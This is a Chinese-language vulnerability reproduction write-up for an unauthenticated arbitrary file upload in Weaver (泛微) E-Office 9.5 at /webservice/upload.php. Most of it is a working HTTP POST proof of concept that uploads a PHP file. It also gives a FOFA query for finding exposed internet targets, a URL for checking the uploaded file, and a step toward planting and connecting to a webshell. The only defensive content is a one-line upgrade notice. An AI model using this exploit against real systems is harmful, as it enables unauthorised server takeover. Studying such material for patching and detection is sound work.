泛微E-Office任意文件上传漏洞复现（HW0day）

0x01 产品简介

     泛微E-Office是一款标准化的协同 OA 办公软件，泛微协同办公产品系列成员之一,实行通用化产品设计，充分贴合企业管理需求，本着简洁易用、高效智能的原则，为企业快速打造移动化、无纸化、数字化的办公平台。

0x02 漏洞概述

     泛微e-office 9.5版本源文件/webservice/upload.php接口处存在任意文件上传漏洞，未经身份验证的恶意攻击者可以上传恶意文件，从而获取目标服务器的控制权限。

0x03 影响范围

 泛微 E-Office 9.5 

0x04 复现环境 

FOFA：app="泛微-EOffice"

0x05 漏洞复现

PoC

POST /webservice/upload.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryakbyiukl
Accept-Encoding: gzip
Connection: close

------WebKitFormBoundaryakbyiukl
Content-Disposition: form-data; name="file"; filename="a.php4"
Content-Type: application/octet-stream

<?php phpinfo();?>
------WebKitFormBoundaryakbyiukl--

PS：响应体那串数字是上传后的文件夹名称，*后面是文件名 

验证url

http://your-ip/attachment/回显的那串数字/a.php4

上传马子

 尝试连接（注意base64编码）

 0x06 修复建议

目前官方已修复以上漏洞，受影响用户可以升级更新到安全版本。

官方下载链接：https://service.e-office.cn/download